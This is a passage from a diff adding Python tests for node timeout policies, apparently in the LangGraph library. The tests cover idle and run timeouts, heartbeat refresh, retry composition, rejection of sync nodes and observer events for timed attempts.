TimeoutPolicy.coerce(policy) is policy + + +def test_send_timeout_round_trips_through_msgpack_serde(): + serde = JsonPlusSerializer(allowed_msgpack_modules=None) + packet = Send( + "worker", + {"x": 1}, + timeout=TimeoutPolicy(run_timeout=1, idle_timeout=2), + ) + + assert serde.loads_typed(serde.dumps_typed(packet)) == packet + + +def test_send_without_timeout_round_trips_through_msgpack_serde(): + serde = JsonPlusSerializer(allowed_msgpack_modules=None) + packet = Send("worker", {"x": 1}) + + assert serde.loads_typed(serde.dumps_typed(packet)) == packet + + +def test_run_with_retry_rejects_sync_timeout_without_starting_proc(): + started = False + + class Proc: + def invoke(self, input, config): + nonlocal started + started = True + return input + + task = _make_task(Proc(), timeout=_idle_timeout(0.05), name="sync") + + with pytest.raises(ValueError, match="only supported for async nodes"): + run_with_retry(task, retry_policy=None) + assert not started + + +def test_run_with_retry_without_timeout_runs_sync_directly(): + class FastProc: + def invoke(self, input, config): + return "ok" + + task = _make_task(FastProc(), timeout=None) + assert run_with_retry(task, retry_policy=None) == "ok" + + +def test_idle_timeout_guard_call_does_not_hold_scope_lock(): + scope = _TimedAttemptScope() + + def call(): + assert not scope._lock.locked() + return "ok" + + assert scope._guard_call(call)() == "ok" + + +def test_idle_timeout_guard_stream_does_not_hold_scope_lock(): + scope = _TimedAttemptScope() + + def stream(chunk): + assert not scope._lock.locked() + assert chunk == ((), "custom", "ok") + + scope._guard_stream(StreamProtocol(stream, {"custom"}))(((), "custom", "ok")) + + +def test_idle_timeout_guard_stream_writer_does_not_hold_scope_lock(): + scope = _TimedAttemptScope() + + def stream_writer(chunk): + assert not scope._lock.locked() + assert chunk == "ok" + + scope._guard_stream_writer(stream_writer)("ok") + + +@pytest.mark.anyio +async def test_arun_with_retry_timeout_ok_when_fast(): + class FastProc: + async def ainvoke(self, input, config): + return "ok" + + task = _make_task(FastProc(), timeout=_idle_timeout(1.0)) + assert await arun_with_retry(task, retry_policy=None) == "ok" + + +@pytest.mark.anyio +async def test_arun_with_retry_timeout_retries_when_retry_on_timeout(): + calls: list[float] = [] + + class FlakyProc: + async def ainvoke(self, input, config): + calls.append(time.monotonic()) + if len(calls) < 2: + await asyncio.sleep(0.5) + return "late" + return "ok" + + policy = RetryPolicy( + max_attempts=3, + initial_interval=0.0, + jitter=False, + retry_on=NodeTimeoutError, + ) + task = _make_task(FlakyProc(), timeout=_idle_timeout(0.05), retry_policy=(policy,)) + assert await arun_with_retry(task, retry_policy=None) == "ok" + assert len(calls) == 2 + + +@pytest.mark.anyio +async def test_entrypoint_timeout_allows_pre_timeout_child_task_to_run(): + child_started = threading.Event() + + @task() + def child(value: int) -> int: + child_started.set() + return value + 1 + + @entrypoint(timeout=TimeoutPolicy(idle_timeout=0.05)) + async def parent(value: int) -> int: + child(value) + await asyncio.sleep(0.2) + return value + + with pytest.raises(NodeTimeoutError): + await parent.ainvoke(1) + assert child_started.wait(timeout=1.0) + + +@pytest.mark.anyio +async def test_arun_with_retry_timeout_accepts_timedelta(): + class SlowProc: + async def ainvoke(self, input, config): + await asyncio.sleep(0.5) + return input + + task = _make_task(SlowProc(), timeout=_idle_timeout(timedelta(milliseconds=50))) + with pytest.raises(NodeTimeoutError): + await arun_with_retry(task, retry_policy=None) + + +@pytest.mark.anyio +async def test_arun_with_retry_timeout_fires_async(): + class SlowProc: + async def ainvoke(self, input, config): + await asyncio.sleep(1.0) + return input + + task = _make_task(SlowProc(), timeout=_idle_timeout(0.05), name="aslow") + with pytest.raises(NodeTimeoutError) as excinfo: + await arun_with_retry(task, retry_policy=None) + assert excinfo.value.node == "aslow" + assert excinfo.value.idle_timeout == 0.05 + + +@pytest.mark.anyio +async def test_arun_with_retry_run_timeout_is_not_refreshed_by_heartbeat(): + class HeartbeatingProc: + async def ainvoke(self, input, config): + runtime = config[CONF][CONFIG_KEY_RUNTIME] + while True: + runtime.heartbeat() + await asyncio.sleep(0.01) + + task = _make_task(HeartbeatingProc(), timeout=0.05, name="run-timeout") + with pytest.raises(NodeTimeoutError) as excinfo: + await arun_with_retry(task, retry_policy=None) + assert excinfo.value.kind == "run" + assert excinfo.value.run_timeout == 0.05 + assert excinfo.value.idle_timeout is None + + +@pytest.mark.anyio +async def test_node_timeout_error_carries_both_configured_timeouts(): + """Both `idle_timeout` and `run_timeout` reflect the configured policy + even when only one of them fires.""" + + class SlowProc: + async def ainvoke(self, input, config): + await asyncio.sleep(1.0) + + task = _make_task( + SlowProc(), + timeout=TimeoutPolicy(run_timeout=0.05, idle_timeout=0.5), + name="both", + ) + with pytest.raises(NodeTimeoutError) as excinfo: + await arun_with_retry(task, retry_policy=None) + assert excinfo.value.kind == "run" + assert excinfo.value.run_timeout == 0.05 + assert excinfo.value.idle_timeout == 0.5 + # `timeout` is the one that fired. + assert excinfo.value.timeout == 0.05 + + +@pytest.mark.anyio +async def test_arun_with_retry_does_not_swallow_proc_asyncio_timeout(): + calls = 0 + + class InnerTimeoutProc: + async def ainvoke(self, input, config): + nonlocal calls + calls += 1 + raise asyncio.TimeoutError("inner") + + # `retry_on=NodeTimeoutError` + `calls == 1` is the load-bearing assertion: + # if the proc's TimeoutError were misclassified as NodeTimeoutError it + # would be retried, and `calls` would be 2. + policy = RetryPolicy( + max_attempts=2, + initial_interval=0.0, + jitter=False, + retry_on=NodeTimeoutError, + ) + task = _make_task( + InnerTimeoutProc(), + timeout=_idle_timeout(1.0), + retry_policy=(policy,), + name="parent", + ) + with pytest.raises(asyncio.TimeoutError, match="inner"): + await arun_with_retry(task, retry_policy=None) + assert calls == 1 + + +@pytest.mark.anyio +async def test_arun_with_retry_does_not_swallow_proc_node_timeout(): + child_timeout = NodeTimeoutError("child", 0.2, kind="idle", idle_timeout=0.1) + + class ChildTimeoutProc: + async def ainvoke(self, input, config): + raise child_timeout + + task = _make_task(ChildTimeoutProc(), timeout=_idle_timeout(1.0), name="parent") + with pytest.raises(NodeTimeoutError) as excinfo: + await arun_with_retry(task, retry_policy=None) + assert excinfo.value is child_timeout + assert excinfo.value.node == "child" + + +@pytest.mark.anyio +async def test_arun_with_retry_idle_timeout_resets_on_stream_event(): + events = [] + + class StreamingProc: + async def ainvoke(self, input, config): + for _ in range(3): + await asyncio.sleep(0.08) + config[CONF][CONFIG_KEY_STREAM](((), "custom", "tick")) + return "ok" + + task = _make_task(StreamingProc(), timeout=_idle_timeout(0.2), name="streaming") + task.config[CONF][CONFIG_KEY_STREAM] = StreamProtocol(events.append, {"custom"}) + assert await arun_with_retry(task, retry_policy=None) == "ok" + assert len(events) == 3 + + +@pytest.mark.anyio +async def test_arun_with_retry_idle_timeout_resets_on_runtime_stream_writer(): + events = [] + + class WriterProc: + async def ainvoke(self, input, config): + runtime = config[CONF][CONFIG_KEY_RUNTIME] + for _ in range(3): + await asyncio.sleep(0.08) + runtime.stream_writer("tick") + return "ok" + + task = _make_task(WriterProc(), timeout=_idle_timeout(0.2), name="writer") + runtime = task.config[CONF][CONFIG_KEY_RUNTIME] + task.config[CONF][CONFIG_KEY_RUNTIME] = runtime.override( + stream_writer=events.append + ) + assert await arun_with_retry(task, retry_policy=None) == "ok" + assert events == ["tick", "tick", "tick"] + + +@pytest.mark.anyio +async def test_astream_with_retry_idle_timeout_resets_on_yielded_chunks(): + class StreamingProc: + async def astream(self, input, config): + for i in range(3): + await asyncio.sleep(0.08) + yield i + + task = _make_task(StreamingProc(), timeout=_idle_timeout(0.2), name="astream") + await arun_with_retry(task, retry_policy=None, stream=True) + + +class _HandlerEmittingProc: + """Proc that fires `on_llm_new_token` on every handler attached to its config.""" + + def __init__(self, iterations: int = 1, sleep_s: float = 0.0) -> None: + self.iterations = iterations + self.sleep_s = sleep_s + + async def ainvoke(self, input, config): + run_id = uuid4() + for _ in range(self.iterations): + if self.sleep_s: + await asyncio.sleep(self.sleep_s) + for handler in config["callbacks"]: + handler.on_llm_new_token("tok", run_id=run_id) + return "ok" + + +@pytest.mark.anyio +async def test_arun_with_retry_idle_timeout_resets_on_runtime_heartbeat(): + class HeartbeatProc: + async def ainvoke(self, input, config): + runtime = config[CONF][CONFIG_KEY_RUNTIME] + for _ in range(3): + await asyncio.sleep(0.08) + runtime.heartbeat() + return "ok" + + task = _make_task(HeartbeatProc(), timeout=_idle_timeout(0.15), name="heartbeat") + assert await arun_with_retry(task, retry_policy=None) == "ok" + + +@pytest.mark.anyio +async def test_arun_with_retry_heartbeat_refresh_mode_ignores_stream_events(): + events = [] + + class StreamingProc: + async def ainvoke(self, input, config): + while True: + await asyncio.sleep(0.01) + config[CONF][CONFIG_KEY_STREAM](((), "custom", "tick")) + + task = _make_task( + StreamingProc(), + timeout=TimeoutPolicy(idle_timeout=0.05, refresh_on="heartbeat"), + name="heartbeat-only", + ) + task.config[CONF][CONFIG_KEY_STREAM] = StreamProtocol(events.append, {"custom"}) + with pytest.raises(NodeTimeoutError) as excinfo: + await arun_with_retry(task, retry_policy=None) + assert excinfo.value.kind == "idle" + assert events + + +@pytest.mark.anyio +async def test_arun_with_retry_heartbeat_refresh_mode_accepts_heartbeat(): + class HeartbeatProc: + async def ainvoke(self, input, config): + runtime = config[CONF][CONFIG_KEY_RUNTIME] + for _ in range(3): + await asyncio.sleep(0.03) + runtime.heartbeat() + return "ok" + + task = _make_task( + HeartbeatProc(), + timeout=TimeoutPolicy(idle_timeout=0.08, refresh_on="heartbeat"), + name="heartbeat-only", + ) + assert await arun_with_retry(task, retry_policy=None) == "ok" + + +def test_runtime_heartbeat_outside_idle_attempt_is_no_op(): + DEFAULT_RUNTIME.heartbeat() + + +@pytest.mark.anyio +async def test_arun_with_retry_idle_timeout_resets_on_callback_event(): + task = _make_task( + _HandlerEmittingProc(iterations=3, sleep_s=0.08), + timeout=_idle_timeout(0.15), + name="cb", + ) + assert await arun_with_retry(task, retry_policy=None) == "ok" + + +@pytest.mark.anyio +async def test_arun_with_retry_idle_timeout_preserves_existing_callbacks(): + seen: list[str] = [] + + class RecordingHandler(BaseCallbackHandler): + run_inline = True + + def on_llm_new_token(self, token, *, run_id, **kwargs): + seen.append(token) + + task = _make_task(_HandlerEmittingProc(), timeout=_idle_timeout(0.5), name="cb-pre") + task.config["callbacks"] = [RecordingHandler()] + assert await arun_with_retry(task, retry_policy=None) == "ok" + assert seen == ["tok"] + + +@pytest.mark.anyio +async def test_arun_with_retry_timeout_discards_stale_executor_writes(): + release_first_attempt = threading.Event() + + class FlakyAsyncProc: + def __init__(self) -> None: + self.calls = 0 + + async def ainvoke(self, input, config): + self.calls += 1 + if self.calls == 1: + + def late_write() -> str: + release_first_attempt.wait(timeout=1.0) + config[CONF][CONFIG_KEY_SEND]([("value", "stale")]) + return "late" + + return await asyncio.to_thread(late_write) + release_first_attempt.set() + config[CONF][CONFIG_KEY_SEND]([("value", "fresh")]) + return "ok" + + policy = RetryPolicy( + max_attempts=2, + initial_interval=0.0, + jitter=False, + retry_on=NodeTimeoutError, + ) + task = _make_task( + FlakyAsyncProc(), timeout=_idle_timeout(0.05), retry_policy=(policy,) + ) + assert await arun_with_retry(task, retry_policy=None) == "ok" + await asyncio.sleep(0.05) + assert task.writes == deque([("value", "fresh")]) + + +@pytest.mark.anyio +async def test_arun_with_retry_timeout_discards_pre_timeout_writes(): + class SlowAsyncWriterProc: + async def ainvoke(self, input, config): + config[CONF][CONFIG_KEY_SEND]([("value", "stale-before-idle-timeout")]) + await asyncio.sleep(0.2) + return "late" + + task = _make_task( + SlowAsyncWriterProc(), timeout=_idle_timeout(0.05), name="aslow-writer" + ) + with pytest.raises(NodeTimeoutError): + await arun_with_retry(task, retry_policy=None) + assert task.writes == deque() + + +@pytest.mark.anyio +async def test_astream_with_retry_timeout_discards_pre_timeout_writes(): + class SlowStreamWriterProc: + async def astream(self, input, config): + config[CONF][CONFIG_KEY_SEND]([("value", "stale-before-idle-timeout")]) + await asyncio.sleep(0.2) + if False: + yield None + + task = _make_task( + SlowStreamWriterProc(), timeout=_idle_timeout(0.05), name="astream-writer" + ) + with pytest.raises(NodeTimeoutError): + await arun_with_retry(task, retry_policy=None, stream=True) + assert task.writes == deque() + + +@pytest.mark.anyio +async def test_arun_with_retry_timeout_cannot_be_swallowed(): + class StubbornProc: + async def ainvoke(self, input, config): + try: + await asyncio.sleep(1.0) + except asyncio.CancelledError: + config[CONF][CONFIG_KEY_SEND]([("value", "stale")]) + await asyncio.sleep(0) + return "late" + return "ok" + + task = _make_task(StubbornProc(), timeout=_idle_timeout(0.05), name="stubborn") + with pytest.raises(NodeTimeoutError) as excinfo: + await arun_with_retry(task, retry_policy=None) + assert excinfo.value.node == "stubborn" + await asyncio.sleep(0.05) + assert task.writes == deque() + + +@pytest.mark.anyio +async def test_astream_with_retry_timeout_cannot_be_swallowed(): + class StubbornStreamProc: + async def astream(self, input, config): + try: + await asyncio.sleep(1.0) + except asyncio.CancelledError: + config[CONF][CONFIG_KEY_SEND]([("value", "stale")]) + await asyncio.sleep(0) + if False: + yield None + return + yield "ok" + + task = _make_task( + StubbornStreamProc(), timeout=_idle_timeout(0.05), name="stubborn-stream" + ) + with pytest.raises(NodeTimeoutError) as excinfo: + await arun_with_retry(task, retry_policy=None, stream=True) + assert excinfo.value.node == "stubborn-stream" + await asyncio.sleep(0.05) + assert task.writes == deque() + + +class _TimeoutState(TypedDict): + x: int + + +def test_timeout_validation_is_eager_across_apis(): + with pytest.raises(ValueError, match="greater than 0"): + task(timeout=0) + + with pytest.raises(ValueError, match="greater than 0"): + entrypoint(timeout=0) + + with pytest.raises(ValueError, match="greater than 0"): + NodeBuilder().set_timeout(0) + + with pytest.raises(ValueError, match="greater than 0"): + PregelNode(channels="x", triggers=["x"], timeout=0) + + with pytest.raises(ValueError, match="greater than 0"): + Send("slow", {}, timeout=0) + + builder = StateGraph(_TimeoutState) + with pytest.raises(ValueError, match="greater than 0"): + builder.add_node("slow", lambda state: state, timeout=0) + + +def test_timeout_rejects_sync_functional_apis_at_declaration_time(): + with pytest.raises(ValueError, match="only supported for async nodes"): + + @task(timeout=TimeoutPolicy(idle_timeout=0.05)) + def sync_task(value: int) -> int: + return value + + with pytest.raises(ValueError, match="only supported for async nodes"): + + @entrypoint(timeout=TimeoutPolicy(idle_timeout=0.05)) + def sync_entrypoint(value: int) -> int: + return value + + +def test_state_graph_compile_rejects_sync_node_timeout(): + def slow(state: _TimeoutState) -> _TimeoutState: + return {"x": state["x"] + 1} + + builder = StateGraph(_TimeoutState) + builder.add_node("slow", slow, timeout=TimeoutPolicy(idle_timeout=0.05)) + builder.add_edge(START, "slow") + builder.add_edge("slow", END) + + with pytest.raises(ValueError, match="only supported for async nodes"): + builder.compile() + + +def test_pregel_validate_rejects_sync_writer_timeout(): + async def bound(value: int) -> int: + return value + 1 + + def sync_writer(value: int) -> int: + return value + + with pytest.raises(ValueError, match="only supported for async nodes"): + Pregel( + nodes={ + "slow": PregelNode( + channels="input", + triggers=["input"], + bound=RunnableLambda(bound), + writers=[RunnableLambda(sync_writer)], + timeout=TimeoutPolicy(run_timeout=1), + ) + }, + channels={ + "input": EphemeralValue(int), + "output": LastValue(int), + }, + input_channels="input", + output_channels="output", + ) + + +def test_pregel_validate_rejects_wrapped_sync_runnable_lambda_timeout(): + def slow(value: int) -> int: + return value + 1 + + with pytest.raises(ValueError, match="only supported for async nodes"): + Pregel( + nodes={ + "slow": ( + NodeBuilder() + .subscribe_only("input") + .do(RunnableLambda(slow).with_config(tags=["wrapped"])) + .set_timeout(TimeoutPolicy(idle_timeout=0.05)) + .write_to("output") + ) + }, + channels={ + "input": EphemeralValue(int), + "output": LastValue(int), + }, + input_channels="input", + output_channels="output", + ) + + +def test_pregel_validate_accepts_wrapped_async_runnable_lambda_timeout(): + async def slow(value: int) -> int: + return value + 1 + + Pregel( + nodes={ + "slow": ( + NodeBuilder() + .subscribe_only("input") + .do(RunnableLambda(slow).with_config(tags=["wrapped"])) + .set_timeout(TimeoutPolicy(idle_timeout=0.05)) + .write_to("output") + ) + }, + channels={ + "input": EphemeralValue(int), + "output": LastValue(int), + }, + input_channels="input", + output_channels="output", + ) + + +def test_pregel_validate_rejects_parallel_sync_branch_timeout(): + def sync_branch(value: int) -> int: + return value + 1 + + async def async_branch(value: int) -> int: + return value + 1 + + with pytest.raises(ValueError, match="only supported for async nodes"): + Pregel( + nodes={ + "parallel": ( + NodeBuilder() + .subscribe_only("input") + .do( + RunnableParallel( + sync=RunnableLambda(sync_branch), + async_=RunnableLambda(async_branch), + ) + ) + .set_timeout(TimeoutPolicy(idle_timeout=0.05)) + .write_to("output") + ) + }, + channels={ + "input": EphemeralValue(int), + "output": LastValue(dict), + }, + input_channels="input", + output_channels="output", + ) + + +def test_pregel_validate_rejects_sync_node_timeout(): + def slow(value: int) -> int: + return value + 1 + + with pytest.raises(ValueError, match="only supported for async nodes"): + Pregel( + nodes={ + "slow": ( + NodeBuilder() + .subscribe_only("input") + .do(slow) + .set_timeout(TimeoutPolicy(idle_timeout=0.05)) + .write_to("output") + ) + }, + channels={ + "input": EphemeralValue(int), + "output": LastValue(int), + }, + input_channels="input", + output_channels="output", + ) + + +@pytest.mark.anyio +async def test_pregel_validate_accepts_async_runnable_lambda_timeout(): + async def slow(value: int) -> int: + await asyncio.sleep(0.2) + return value + 1 + + graph = Pregel( + nodes={ + "slow": ( + NodeBuilder() + .subscribe_only("input") + .do(RunnableLambda(slow)) + .set_timeout(TimeoutPolicy(idle_timeout=0.05)) + .write_to("output") + ) + }, + channels={ + "input": EphemeralValue(int), + "output": LastValue(int), + }, + input_channels="input", + output_channels="output", + ) + with pytest.raises(NodeTimeoutError): + await graph.ainvoke(1) + + +@pytest.mark.anyio +async def test_pregel_validate_accepts_runnable_callable_with_sync_and_async_timeout(): + def sync(value: int) -> int: + return value + 1 + + async def async_(value: int) -> int: + await asyncio.sleep(0.2) + return value + 1 + + graph = Pregel( + nodes={ + "slow": ( + NodeBuilder() + .subscribe_only("input") + .do(RunnableCallable(sync, async_)) + .set_timeout(TimeoutPolicy(idle_timeout=0.05)) + .write_to("output") + ) + }, + channels={ + "input": EphemeralValue(int), + "output": LastValue(int), + }, + input_channels="input", + output_channels="output", + ) + with pytest.raises(NodeTimeoutError): + await graph.ainvoke(1) + + +@pytest.mark.anyio +async def test_state_graph_add_node_timeout_e2e(): + async def slow(state: _TimeoutState) -> _TimeoutState: + await asyncio.sleep(1.0) + return {"x": state["x"] + 1} + + builder = StateGraph(_TimeoutState) + builder.add_node("slow", slow, timeout=TimeoutPolicy(idle_timeout=0.05)) + builder.add_edge(START, "slow") + builder.add_edge("slow", END) + graph = builder.compile() + with pytest.raises(NodeTimeoutError): + await graph.ainvoke({"x": 1}) + + +@pytest.mark.anyio +async def test_send_timeout_overrides_target_node_timeout(): + async def slow(state: _TimeoutState) -> _TimeoutState: + await asyncio.sleep(0.2) + return {"x": state["x"] + 1} + + def route(state: _TimeoutState) -> list[Send]: + return [Send("slow", state, timeout=TimeoutPolicy(idle_timeout=0.05))] + + builder = StateGraph(_TimeoutState) + builder.add_node("slow", slow, timeout=TimeoutPolicy(idle_timeout=1.0)) + builder.add_conditional_edges(START, route) + builder.add_edge("slow", END) + graph = builder.compile() + + with pytest.raises(NodeTimeoutError) as excinfo: + await graph.ainvoke({"x": 1}) + assert excinfo.value.node == "slow" + assert excinfo.value.kind == "idle" + assert excinfo.value.idle_timeout == 0.05 + + +@pytest.mark.anyio +async def test_state_graph_add_node_timeout_composes_with_retry(): + """add_node(..., timeout=TimeoutPolicy(...)) retries then succeeds.""" + + attempts: list[int] = [] + + async def flaky(state: _TimeoutState) -> _TimeoutState: + attempts.append(len(attempts)) + if len(attempts) < 2: + await asyncio.sleep(1.0) + return {"x": state["x"] + 1} + + builder = StateGraph(_TimeoutState) + builder.add_node( + "flaky", + flaky, + timeout=TimeoutPolicy(idle_timeout=0.3), + retry_policy=RetryPolicy( + max_attempts=3, + initial_interval=0.0, + jitter=False, + retry_on=NodeTimeoutError, + ), + ) + builder.add_edge(START, "flaky") + builder.add_edge("flaky", END) + graph = builder.compile() + result = await graph.ainvoke({"x": 0}) + assert result == {"x": 1} + assert len(attempts) == 2 + + +@NEEDS_CONTEXTVARS +@pytest.mark.anyio +async def test_task_decorator_timeout_e2e(): + @task(timeout=TimeoutPolicy(idle_timeout=0.05)) + async def slow_task(x: int) -> int: + await asyncio.sleep(0.2) + return x + 1 + + @entrypoint() + async def workflow(x: int) -> int: + return await slow_task(x) + + with pytest.raises(NodeTimeoutError): + await workflow.ainvoke(1) + + +@NEEDS_CONTEXTVARS +@pytest.mark.anyio +async def test_task_decorator_preserves_user_idle_timeout_kwarg(): + @task(timeout=TimeoutPolicy(idle_timeout=1.0)) + async def echo_idle_timeout(*, idle_timeout: int) -> int: + await asyncio.sleep(0) + return idle_timeout + + @entrypoint() + async def workflow(x: int) -> int: + return await echo_idle_timeout(idle_timeout=x) + + assert await workflow.ainvoke(5) == 5 + + +@NEEDS_CONTEXTVARS +@pytest.mark.anyio +async def test_task_decorator_preserves_user_timeout_kwarg(): + @task(timeout=1.0) + async def echo_timeout(*, timeout: int) -> int: + await asyncio.sleep(0) + return timeout + + @entrypoint() + async def workflow(x: int) -> int: + return await echo_timeout(timeout=x) + + assert await workflow.ainvoke(5) == 5 + + +@pytest.mark.anyio +async def test_entrypoint_timeout_e2e(): + @entrypoint(timeout=TimeoutPolicy(idle_timeout=0.05)) + async def slow_workflow(x: int) -> int: + await asyncio.sleep(0.2) + return x + + with pytest.raises(NodeTimeoutError): + await slow_workflow.ainvoke(1) + + +class _MessageStreamState(TypedDict): + messages: Annotated[list[BaseMessage], add_messages] + + +class _SlowStreamingChatModel(GenericFakeChatModel): + async def _astream( + self, + messages: list[BaseMessage], + stop: list[str] | None = None, + run_manager: AsyncCallbackManagerForLLMRun | None = None, + **kwargs: Any, + ) -> AsyncIterator[ChatGenerationChunk]: + for i in range(3): + await asyncio.sleep(0.08) + chunk = ChatGenerationChunk( + message=AIMessageChunk( + content=str(i), + chunk_position="last" if i == 2 else None, + ) + ) + if run_manager: + await run_manager.on_llm_new_token(str(i), chunk=chunk) + yield chunk + + def _generate( + self, + messages: list[BaseMessage], + stop: list[str] | None = None, + run_manager: Any | None = None, + **kwargs: Any, + ) -> ChatResult: + return ChatResult(generations=[ChatGeneration(message=AIMessage(content=""))]) + + +@pytest.mark.anyio +async def test_idle_timeout_resets_on_message_stream_callbacks(): + model = _SlowStreamingChatModel(messages=iter([])) + + async def call_model(state: _MessageStreamState) -> _MessageStreamState: + response = await model.ainvoke(state["messages"]) + return {"messages": [response]} + + builder = StateGraph(_MessageStreamState) + builder.add_node( + "call_model", + call_model, + timeout=TimeoutPolicy(idle_timeout=0.15), + ) + builder.add_edge(START, "call_model") + builder.add_edge("call_model", END) + graph = builder.compile() + + chunks: list[str] = [] + async for chunk, _metadata in graph.astream( + {"messages": [HumanMessage(content="hi")]}, + stream_mode="messages", + ): + chunks.append(chunk.content) + assert chunks == ["0", "1", "2"] + + +@pytest.mark.anyio +async def test_node_builder_timeout_e2e(): + async def slow(value: int) -> int: + await asyncio.sleep(0.2) + return value + 1 + + graph = Pregel( + nodes={ + "slow": ( + NodeBuilder() + .subscribe_only("input") + .do(slow) + .set_timeout(TimeoutPolicy(idle_timeout=0.05)) + .write_to("output") + ) + }, + channels={ + "input": EphemeralValue(int), + "output": LastValue(int), + }, + input_channels="input", + output_channels="output", + ) + with pytest.raises(NodeTimeoutError): + await graph.ainvoke(1) + + +@pytest.mark.anyio +async def test_arun_with_retry_timeout_observer_tracks_attempts(): + events: list = [] + + class FlakyProc: + async def ainvoke(self, input, config): + runtime = config[CONF][CONFIG_KEY_RUNTIME] + if runtime.execution_info.node_attempt == 1: + await asyncio.sleep(0.2) + return "ok" + + policy = RetryPolicy( + max_attempts=2, + initial_interval=0.0, + jitter=False, + retry_on=NodeTimeoutError, + ) + task = _make_task( + FlakyProc(), + timeout=_idle_timeout(0.05), + retry_policy=(policy,), + name="flaky", + ) + task.config[CONF][CONFIG_KEY_TIMED_ATTEMPT_OBSERVER] = events.append + assert await arun_with_retry(task, retry_policy=None) == "ok" + + starts = [event for event in events if event.event == "start"] + finishes = [event for event in events if event.event == "finish"] + assert [event.context.attempt for event in starts] == [1, 2] + assert [event.context.attempt for event in finishes] == [1, 2] + assert [event.status for event in finishes] == ["error", "success"] + assert starts[0].context.idle_timeout_secs == 0.05 + assert starts[0].context.task_name == "flaky" + assert isinstance(starts[0].context.started_at, datetime) + assert isinstance(finishes[0].finished_at, datetime) + + +@pytest.mark.anyio +async def test_arun_with_retry_timeout_observer_emits_progress_on_heartbeat(): + events: list = [] + + # `_TimedAttemptScope.__init__` sets `_last_progress` to `time.monotonic()`, + # but the watchdog itself doesn't start running until after `wrap_config` + # and task scheduling — under CI load that gap can be large enough to eat + # the entire idle window before the task body's first await even runs. We + # defend against that by: + # 1. Using a generous idle_timeout so scheduling slack stays well within it. + # 2. Calling `runtime.heartbeat()` BEFORE the first sleep, which resets + # `_last_progress` to "now" the moment the task body actually starts. + idle_timeout_s = 1.0 + + class HeartbeatProc: + async def ainvoke(self, input, config): + runtime = config[CONF][CONFIG_KEY_RUNTIME] + runtime.heartbeat() # reset the idle clock at task-body entry + for _ in range(8): + await asyncio.sleep(0.05) + runtime.heartbeat() + return "ok" + + task = _make_task( + HeartbeatProc(), timeout=_idle_timeout(idle_timeout_s), name="heartbeat" + ) + task.config[CONF][CONFIG_KEY_TIMED_ATTEMPT_OBSERVER] = events.append + assert await arun_with_retry(task, retry_policy=None) == "ok" + + by_event = [ev.event for ev in events] + assert by_event[0] == "start" + assert by_event[-1] == "finish" + progress = [ev for ev in events if ev.event == "progress"] + assert progress, "expected at least one progress event from heartbeat" + # Rate limit is `idle_timeout / 4` = 0.25s; with the task running for + # ~400ms we expect 1–2 progress events (well below the 9 heartbeats). + assert len(progress) <= len(by_event) + for ev in progress: + assert ev.context.task_name == "heartbeat" + assert ev.context.attempt == 1 + assert ev.context.idle_timeout_secs == idle_timeout_s + assert isinstance(ev.progress_at, datetime) + + +@pytest.mark.anyio +async def test_arun_with_retry_timeout_observer_treats_parent_command_as_non_error(): + events: list = [] + + class ParentProc: + async def ainvoke(self, input, config): + raise ParentCommand(Command(graph=Command.PARENT)) + + task = _make_task(ParentProc(), timeout=_idle_timeout(0.05), name="parent") + task.config[CONF][CONFIG_KEY_TIMED_ATTEMPT_OBSERVER] = events.append + with pytest.raises(ParentCommand): + await arun_with_retry(task, retry_policy=None) + + finish = next(event for event in events if event.event == "finish") + assert finish.status == "success" + assert finish.error_type is None + assert finish.error_message is None + + +@pytest.mark.anyio +async def test_arun_with_retry_timeout_observer_finishes_when_parent_writer_errors(): + events: list = [] + + class ParentProc: + async def ainvoke(self, input, config): + raise ParentCommand(Command(graph="parent", update={"value": "updated"})) + + class FailingWriter: + def invoke(self, input, config): + raise ValueError("writer failed") + + task = _make_task( + ParentProc(), + timeout=_idle_timeout(0.05), + name="parent", + writers=(FailingWriter(),), + ) + task.config[CONF][CONFIG_KEY_TIMED_ATTEMPT_OBSERVER] = events.append + with pytest.raises(ValueError, match="writer failed"): + await arun_with_retry(task, retry_policy=None) + + finish = next(event for event in events if event.event == "finish") + assert finish.status == "error" + assert finish.error_type == "ValueError" + assert finish.error_message == "writer failed" + + +@pytest.mark.anyio +async def test_arun_with_retry_timeout_observer_treats_bubble_up_as_non_error(): + events: list = [] + + class BubbleProc: + async def ainvoke(self, input, config): + raise GraphInterrupt(()) + + task = _make_task(BubbleProc(), timeout=_idle_timeout(0.05), name="bubble") + task.config[CONF][CONFIG_KEY_TIMED_ATTEMPT_OBSERVER] = events.append + with pytest.raises(GraphInterrupt): + await arun_with_retry(task, retry_policy=None) + + finish = next(event for event in events if event.event == "finish") + assert finish.status == "success" + assert finish.error_type is None + assert finish.error_message is None + + +# --------------------------------------------------------------------------- +# Watcher invariant: any timeout that retry/error_handler can recover from +# MUST emit `finish=error` BEFORE the in-process recovery work happens. The +# external watchdog (langgraph-api) relies on this so it only kills a worker +# when no `finish` arrives within the deadline. The tests below pin down the +# three recovery paths so a refactor that moves `_finish_timed_attempt` past +# an `await` (or past the final `raise`) trips CI. +# --------------------------------------------------------------------------- + + +@pytest.mark.anyio +async def test_arun_with_retry_observer_emits_finish_before_retry_backoff(): + """`finish=error` of attempt N must arrive before the retry backoff sleep.""" + timeline: list[tuple[float, Any]] = [] + + class TimingOutOnceProc: + def __init__(self) -> None: + self.calls = 0 + + async def ainvoke(self, input, config): + self.calls += 1 + if self.calls == 1: + await asyncio.sleep(1.0) + return "ok" + + backoff = 0.25 + policy = RetryPolicy( + max_attempts=2, + initial_interval=backoff, + backoff_factor=1.0, + max_interval=backoff, + jitter=False, + retry_on=NodeTimeoutError, + ) + task = _make_task( + TimingOutOnceProc(), + timeout=_idle_timeout(0.05), + retry_policy=(policy,), + name="backoff_watcher", + ) + task.config[CONF][CONFIG_KEY_TIMED_ATTEMPT_OBSERVER] = lambda ev: timeline.append( + (time.monotonic(), ev) + ) + + assert await arun_with_retry(task, retry_policy=None) == "ok" + + starts = [(t, ev) for t, ev in timeline if ev.event == "start"] + finishes = [(t, ev) for t, ev in timeline if ev.event == "finish"] + assert [ev.context.attempt for _, ev in starts] == [1, 2] + assert [ev.status for _, ev in finishes] == ["error", "success"] + + first_finish_t = finishes[0][0] + second_start_t = starts[1][0] + + # The watcher relies on this gap: `finish=error` for attempt 1 must arrive + # before `arun_with_retry` enters `await asyncio.sleep(backoff)`. We give a + # generous slack to keep this stable on slow CI; the structural invariant + # is "finish lands first", not "the gap equals exactly backoff". + assert second_start_t - first_finish_t >= backoff * 0.5, ( + f"finish=error appears to be emitted after retry backoff sleep; " + f"gap was {second_start_t - first_finish_t:.3f}s, 